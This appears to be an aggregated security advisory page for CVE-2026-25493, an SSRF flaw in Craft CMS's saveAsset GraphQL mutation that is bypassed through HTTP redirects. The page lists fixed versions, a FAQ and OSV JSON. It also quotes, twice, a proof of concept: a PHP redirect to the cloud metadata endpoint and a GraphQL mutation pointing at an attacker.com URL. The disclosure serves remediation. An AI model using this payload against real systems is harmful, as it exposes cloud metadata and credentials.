CVE-2026-25493: Craftcms/cms Craft CMS Vulnerable To SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-8jr8-7hr4-vhfx
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CWE-918
Published
Advisory Summary

CVE-2026-25493 is a MODERATE craft cms vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Craftcms/cms libraries in the Packagist ecosystem. The issue involves craft cms vulnerable to ssrf in graphql asset mutation via http redirect. Remediation is available by upgrading affected packages to version 5.8.22, 4.16.18.

CVE-2026-25493 at a Glance

CVE Identifier CVE-2026-25493
GHSA Identifier GHSA-8jr8-7hr4-vhfx
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Craftcms/cms
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-25493

To remediate this vulnerability, upgrade all affected Craftcms/cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/cms fixed: 5.8.22 
Upgrade craftcms/cms to 5.8.22
craftcms/cms fixed: 4.16.18 
Upgrade craftcms/cms to 4.16.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for craftcms/cms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25493, inspect your project dependencies for Craftcms/cms:

inspect dependencies for craftcms/cms

Analyze the terminal output to locate any version of Craftcms/cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.22), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Craftcms/cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset --- ## Mitigation - Disable redirects.

CVE-2026-25493 Affected Craftcms/cms Versions

2 component(s)
Fixed Versions:
5.8.224.16.18
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/cms
 Packagist
≥ 5.0.0-RC1
< 5.8.22
5.8.22
craftcms/cms
 Packagist
≥ 4.0.0-RC1
< 4.16.18
4.16.18

References

GitHub Advisory / Wiki ADVISORY
https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx
NVD — CVE-2026-25493 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-25493
Security Fix Commit FIX COMMIT
https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98
Craftcms/cms Source Repository REPOSITORY
https://github.com/craftcms/cms
Craftcms/cms Release RELEASE
https://github.com/craftcms/cms/releases/tag/4.16.18
Craftcms/cms Release RELEASE
https://github.com/craftcms/cms/releases/tag/5.8.22

Frequently Asked Questions

What is CVE-2026-25493?
CVE-2026-25493 is a security vulnerability in Craftcms/cms involving Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect under CWE-918: Server-Side Request Forgery (SSRF).
Which Craftcms/cms versions are affected?
Affected versions include releases prior to 5.8.22, 4.16.18 across affected packages: craftcms/cms.
What version fixes CVE-2026-25493?
Upgrading to 5.8.22, 4.16.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/cms affected?
Yes, craftcms/cms is affected in releases prior to 5.8.22, 4.16.18. Upgrade your dependency to 5.8.22, 4.16.18 or later.
What CWE is associated with CVE-2026-25493?
CVE-2026-25493 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-25493?
Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8jr8-7hr4-vhfx",
  "modified" : "2026-02-09T22:38:33Z",
  "published" : "2026-02-09T20:35:30Z",
  "aliases" : [ "CVE-2026-25493" ],
  "summary" : "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect",
  "details" : "## Summary\nThe `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.\n\n---\n## Proof of Concept\n1. Host a redirect script on your server (e.g. `redirect.php`):\n```php\n<?php header(\"Location: http://169.254.169.254/latest/meta-data/\"); ?>\n```\n2. Send the following GraphQL mutation:\n```graphql\nmutation {\n    save_images_Asset(_file: { \n        url: \"https://attacker.com/redirect.php\"\n        filename: \"metadata.txt\"\n    }) {\n        id\n    }\n}\n```\n3. The application validates `attacker.com` (passes)\n4. Guzzle follows the redirect to `169.254.169.254`\n5. Cloud metadata is saved as an asset\n\n---\n## Mitigation\n- Disable redirects.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.22"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.21"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.16.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25493"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/4.16.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/5.8.22"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T20:35:30Z",
    "nvd_published_at" : "2026-02-09T20:15:57Z"
  }
}